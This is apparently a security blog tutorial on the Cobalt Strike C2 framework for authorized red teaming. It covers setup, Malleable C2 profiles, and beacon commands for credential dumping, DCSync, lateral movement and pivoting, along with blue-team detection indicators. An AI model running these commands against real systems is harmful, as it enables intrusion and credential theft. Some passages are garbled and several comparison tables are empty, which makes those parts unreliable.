Cobalt Strike: What It Is, How It Works, Beacon, and Malleable C2

Cobalt Strike: A Red Team Operations Guide to the C2 Framework #

Cobalt Strike is one of the most widely used commercial C2 frameworks in professional red teaming: it models the behavior of an advanced attacker—persistence, lateral movement, pivoting, communications masquerading as legitimate traffic—to test how well an organization can actually detect and respond to an intrusion, not just block the initial exploit.

Prerequisites: Valid Cobalt Strike license (this is commercial software, not open source), a lab environment or written authorized engagement, familiarity with Active Directory and Windows post-exploitation.

What is Cobalt Strike? #

Cobalt Strike is a commercial C2 framework, developed by Fortra, designed for adversary simulation and red team engagement. Unlike a pure exploitation tool like Metasploit, its focus is entirely on the post-compromise phase: maintaining access, moving laterally, and doing so in a way that mimics the behavior of real attackers, testing the organization's defenses—not just whether an exploit works, but whether a SOC notices it.

It's important to be clear on one point: Cobalt Strike is licensed commercial software. It's not freely downloadable or free, and the "cracked" copies circulating online are precisely the tools used by real ransomware groups and APTs to conduct intrusions—using them is both illegal and, in effect, the use of malware. This guide assumes a legitimate license used in a lab or in a written, authorized engagement.

How It Works: Server/Client/Beacon Team Architecture #

Team Server (Linux, sempre acceso)
      ↑↓
Client Cobalt Strike (uno o più operatori, GUI)
      ↑↓
Listener (HTTP/HTTPS/DNS/SMB/TCP)
      ↑↓
Beacon (payload sul target compromesso)

The Team Server is the central component: it runs on Linux, manages listeners, receives beacon check-ins, and stores sessions, logs, and collected data. It is also the point of collaboration between operators: multiple people connect to the same team server with their own client and share sessions, logs, and engagement resources in real time, rather than working in isolation. The client is the graphical interface with which one or more operators connect to the team server. The Beacon is the payload running on the compromised host: it doesn't maintain a persistent connection like a traditional reverse shell, but performs periodic (asynchronous) check-ins to the listener according to a configurable sleep interval—a behavior that makes it harder to detect than a constant interactive session.

Setup: Team Server and Client #

# Sul team server (Linux)
./teamserver <IP_esterno> <password> [/path/to/profilo.malleable]

# Dal client, connessione al team server
./cobaltstrike
# Host: IP del team server, Password: quella impostata all'avvio

The Malleable C2 profile (optional, last argument) must be specified when starting the team server—it isn't loaded at runtime, and you can only load one per instance. The exact syntax of the startup commands may vary between versions (Cobalt Strike evolves regularly; the current release is 4.13 at the time of writing this guide)—always check the documentation for your installed version.

Before using a Malleable profile during an engagement, verify its syntax and configuration with the included tool c2lint:

./c2lint profilo.profile

Listeners: HTTP, HTTPS, DNS, SMB, TCP #

A listener defines how beacons communicate with the team server. The type chosen depends on the context of the target network and the detection profile you want to implement.

Cobalt Strike → Listeners → Add/Edit

Note on the TLS certificate: The certificate and other default flags may be detectable by detection systems if left unchanged. In a realistic engagement, the configuration is typically adapted to the test scenario—typically a valid certificate (e.g., Let's Encrypt) on a dedicated redirector infrastructure, not the directly exposed team server endpoint.

Malleable C2: Personalizing Beacon Communications #

A Malleable C2 Profile is a small, specialized language that redefines how the beacon transforms and hides its data within HTTP/HTTPS traffic — user-agent, URI, header, body format — so that it resembles legitimate traffic (or that of known malware, for threat-specific emulation purposes) rather than the default, recognizable pattern.

# Estratto concettuale di un profilo Malleable
http-get {
    set uri "/api/v1/status";
    client {
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
    }
    server {
        header "Content-Type" "application/json";
    }
}

Public profiles (repositories such as Cobalt-Strike/Malleable-C2-Profiles on GitHub) are a great starting point for understanding the syntax, but a copied profile without modifications is just as recognizable as the default one — the value lies in customizing it for the specific engagement.

Basic Beacon Commands #

From the client, the payload is generated from Attacks → Packages (or from the Payloads menu), choosing the format (executable, DLL, PowerShell, raw shellcode) and target listener. Once executed on the target, the beacon appears as an active session on the client.

Basic beacon session commands:

beacon> sleep 60 20        # check-in ogni 60s, jitter 20%
beacon> shell whoami        # esegue un comando via cmd.exe
beacon> run ipconfig /all   # esegue senza spawnare cmd, output diretto
beacon> execute-assembly /path/tool.exe   # esegue un assembly .NET in-memory
beacon> upload file.exe C:\Windows\Temp\file.exe
beacon> download C:\Users\vittima\Desktop\report.docx
beacon> portscan 10.10.10.0/24 445 arp

sleep and the associated jitter are the first OPSEC lever: a low value improves operator responsiveness but increases the volume of observable communications, a high value with randomized jitter reduces traffic and is more stealthy but slows down operations. Beacon can also run in quasi-interactive mode with sleep 0, useful in testing but much noisier.

Lateral Movement via Beacon #

beacon> jump psexec64 TARGET LISTENER      # servizio remoto, crea artefatti su disco
beacon> jump winrm64 TARGET LISTENER       # via WinRM, se disponibile
beacon> remote-exec wmi TARGET comando     # esecuzione via WMI

beacon> logonpasswords                  # dump credenziali via Mimikatz integrato
beacon> dcsync CORP.local CORP\krbtgt   # DCSync su un account specifico

dcsync in Beacon replicates the same technique described in the guide to DCSync, integrated directly into the session instead of requiring a separate external tool.

The Golden Ticket in Cobalt Strike immense it is generated with a command typed in the console: it is used from the graphical menu [beacon] → Access → Golden Ticket, providing user, domain, SID, and krbtgt hash — Cobalt Strike calls Mimikatz internally and injects the ticket into the session.

TARGET is the destination host, LISTENER This is the name of the listener the new beacon will use to connect back—not the protocol name. It's a common mistake to confuse the two parameters when copying an example without carefully reviewing the syntax.

These commands mirror what tools like Packet (psexec.py, wmiexec.py) — the difference is that here they remain in the same session and in the same set of logs as the team server, which is convenient for reporting at the end of the engagement. For the credential dump via integrated Mimikatz, the same logic applies as in the guide dedicated to MimikatzAuthentication is one thing, the actual privileges obtained are another.

Peer-to-Peer Beacons (SMB and TCP) #

On networks where you don't want every compromised host to open a direct C2 connection to the outside, chain beacons together:

beacon> link TARGET pipename    # collega un beacon SMB tramite named pipe
beacon> connect IP PORT         # collega un beacon TCP

Only the “parent” beacon in the chain actually talks to the team server — the others communicate through it via internal SMB/TCP instead of each establishing a direct connection to the C2 infrastructure, dramatically reducing the C2 traffic observable from the perimeter.

Cobalt Strike SOCKS Proxy and Pivoting #

beacon> socks 1080

It opens a SOCKS proxy on the team server that routes traffic through the compromised beacon, towards the internal network that the beacon itself can reach—useful for pointing external tools (Nmap, a browser, an RDP client) at otherwise unreachable network segments. Conceptually, it's the same principle as Chisel , which is natively integrated into the framework.

beacon> ssh 10.10.17.12:22 username password

Cobalt Strike can also open an SSH connection directly from the beacon, useful when the target has access to a Linux host/device that is only reachable from that network location.

Aggressor Script and BOF: Extending the Framework #

Cobalt Strike is scriptable via Aggressor Script, a language derived from Sleep that allows you to automate workflows, add custom commands to the beacon console, and integrate third-party tools directly into the client. Beacon Object File (BOF) are small compiled C programs that run directly in the beacon process, without spawning a new process — a lighter, harder-to-detect alternative to execute-assembly for targeted operations (enumeration, small system actions).

You don't need to write BOF or Aggressor Script from scratch to use Cobalt Strike effectively—they're extension tools for those who want to customize beyond the core product functionality. The extension ecosystem continues to grow with new releases, adding additional execution and packaging mechanisms beyond the classic BOF—always check the release notes for the version you're using.

Cobalt Strike vs. Metasploit #

They are complementary tools rather than direct competitors — the difference lies in the main focus:

Cobalt Strike vs Open Source Alternatives #

Cobalt Strike remains the tool against which most blue teams compare their detections, precisely because it is among the most widely used—an advantage for those who need to validate defenses against the most common threat, but a disadvantage if the goal is to stay under the radar of a blue team that knows it well.

Detection Lato Blue Team #

Knowing how Cobalt Strike is detected is just as important as knowing how to use it—both for defenders and for red teamers who want to understand what to expect during engagement. No single indicator is sufficient on its own: effective detection almost always comes from a combination of multiple signals.

Network indicators:

• JA3/JA3S TLS client fingerprinting, if the TLS library is not custom
• The default TLS certificate, if the server team does not use a valid one
• Non-personalized HTTP metadata (URI, header, body format) in the Malleable profile
• Named pipes with known patterns (\\.\pipe\msagent_*, \\.\pipe\status_* and similar, unless renamed in a custom profile)
• Regular check-in patterns even with jitter, if observed over a sufficiently long time window

Host Indicators:

• Typical process injection artifacts (RWX memory allocations, threads injected into legitimate processes)
• Service/task creation log for psexec/jump, similar to those of Packet and other lateral movement tools
• Abnormal WMI activity, when used for remote execution
• Public YARA rules that identify patterns in the beacon (especially on cracked/leaked versions, often out of date and with known signatures)
• Activity of Mimikatz integrated, with the same EDR indicators as the standalone tool

Practical countermeasure for defenders: A default Malleable C2 profile, an invalid/self-signed TLS certificate, and check-ins at fixed intervals remain among the easiest signals to detect—many effective detections start with these before even delving into in-depth host analysis.

OPSEC during a Red Team Engagement #

Without going into advanced evasion procedures (out of scope for this guide), the elements that an operator monitors during an engagement are essentially the same as those seen in the detection section, read from the opposite side:

• sleep/jitter values ​​consistent with the threat profile being emulated
• custom Malleable profile, not the default one
• C2 infrastructure with valid certificate and redirector, not the directly exposed server team
• use of P2P beacons to reduce direct C2 traffic from each host
• Accurate logging on the team server side, useful for both the operator and the final report
• awareness of host artifacts that your actions leave behind (services created, processes injected, WMI calls)

The goal of good OPSEC in an authorized engagement is not to “never get detected” at all costs, but to generate realistic behavior that allows the detection capabilities of the tested organization to be honestly measured.

MITRE ATT & CK #

Complete matrix: MITER ATT&CK Enterprise · Dedicated card: MITER ATT&CK — Cobalt Strike (S0154)

Operational Workflow #

Team Server attivo (Linux)
      ↓
Listener configurato (HTTP/HTTPS/DNS/SMB/TCP) con profilo Malleable dedicato
      ↓
Generazione beacon (eseguibile/DLL/PowerShell/shellcode)
      ↓
Delivery iniziale (phishing, exploit, accesso fisico — fuori scope di questo articolo)
      ↓
Check-in beacon sul team server
      ↓
Enumerazione + escalation privilegi
      ↓
Movimento laterale (jump, remote-exec, link/connect per P2P)
      ↓
Pivoting (socks, ssh) verso segmenti di rete interni
      ↓
Obiettivo dell'engagement raggiunto
      ↓
Detection Validation — quanto del percorso ha rilevato il blue team?
      ↓
Report

Troubleshooting #

FAQ #

What is Cobalt Strike Beacon? The Cobalt Strike payload running on the compromised host and communicating with the team server via periodic asynchronous (or quasi-interactive) check-ins sleep 0), instead of a constant connection.

What is a Malleable C2 Profile? A configuration file that redefines how the beacon transforms and obfuscates its data in HTTP/HTTPS traffic—user agent, URI, header, body format—to resemble legitimate traffic or a specific threat, rather than the recognizable default pattern.

Is Cobalt Strike malware? The original software is a legitimate commercial tool for red teaming and adversarial simulation, with a paid license. However, pirated or cracked copies are the same code base used by real threat actors in ransomware attacks and are classified by security systems as malicious tooling—using them is illegal regardless of intent.

Is Cobalt Strike free? No, it's commercial software with a paid license distributed by Fortra. Cracked copies circulating online are often the same tools used in real attacks—using them is illegal.

Can Cobalt Strike replace Metasploit? Not entirely: Metasploit remains stronger for the targeted exploitation of known vulnerabilities, while Cobalt Strike is specifically designed for post-compromise and adversary simulation.

What is a Beacon? The Cobalt Strike payload runs on the compromised host and communicates with the team server via periodic asynchronous check-ins, rather than a constant interactive connection.

What's the purpose of a Malleable C2 profile? It allows you to customize how the beacon appears in network traffic—user agent, URI, data format—to better camouflage itself or emulate a specific threat during testing.

What are the open source alternatives to Cobalt Strike? Sliver, Mythic, and Havoc are the most widely used open source C2 frameworks for red teaming today, with no licensing fees.

How does a blue team detect Cobalt Strike? Mainly from the default TLS certificate, the client's JA3/JA3S fingerprint, regular check-in patterns, and named pipes with known names—all elements that a well-configured Malleable profile reduces, mitigates, but doesn't eliminate entirely.

Is Cobalt Strike legal to use? Yes, with a valid license and in a written authorized facility or personal lab. Possession or use of cracked copies, or use against unauthorized systems, are criminal offenses.

Final Cheat Sheet #

=== SETUP ===
Team server:  ./teamserver <IP> <password> [/path/profilo.malleable]
Client:       ./cobaltstrike
Lint profilo: ./c2lint profilo.profile

=== LISTENER ===
GUI:          Cobalt Strike → Listeners → Add/Edit
Tipi:         HTTP, HTTPS, DNS, SMB, TCP

=== BEACON BASE ===
sleep:        beacon> sleep 60 20
shell:        beacon> shell whoami
run:          beacon> run ipconfig /all
assembly:     beacon> execute-assembly /path/tool.exe
upload:       beacon> upload file.exe C:\Windows\Temp\file.exe
download:     beacon> download C:\path\file.docx
portscan:     beacon> portscan 10.10.10.0/24 445 arp

=== LATERAL MOVEMENT ===
psexec:       beacon> jump psexec64 TARGET smb
winrm:        beacon> jump winrm64 TARGET
wmi:          beacon> remote-exec wmi TARGET comando
credenziali:  beacon> logonpasswords

=== P2P BEACON ===
SMB:          beacon> link TARGET pipename
TCP:          beacon> connect IP PORT

=== PIVOTING ===
SOCKS:        beacon> socks 1080
SSH:          beacon> ssh IP:22 user password

Related guides on hackita.it:

• Active Directory: Complete Attack Paths
• Impacket: Tool Suite for AD
• Mimikatz on HackIta
• Chisel: TCP Tunneling for Pivoting
• Kerberos
• Credential Dumping: How to Mine Hash

References #

• Cobalt Strike — official documentation
• HackTricks — Cobalt Strike
• MITER ATT&CK — Software: Cobalt Strike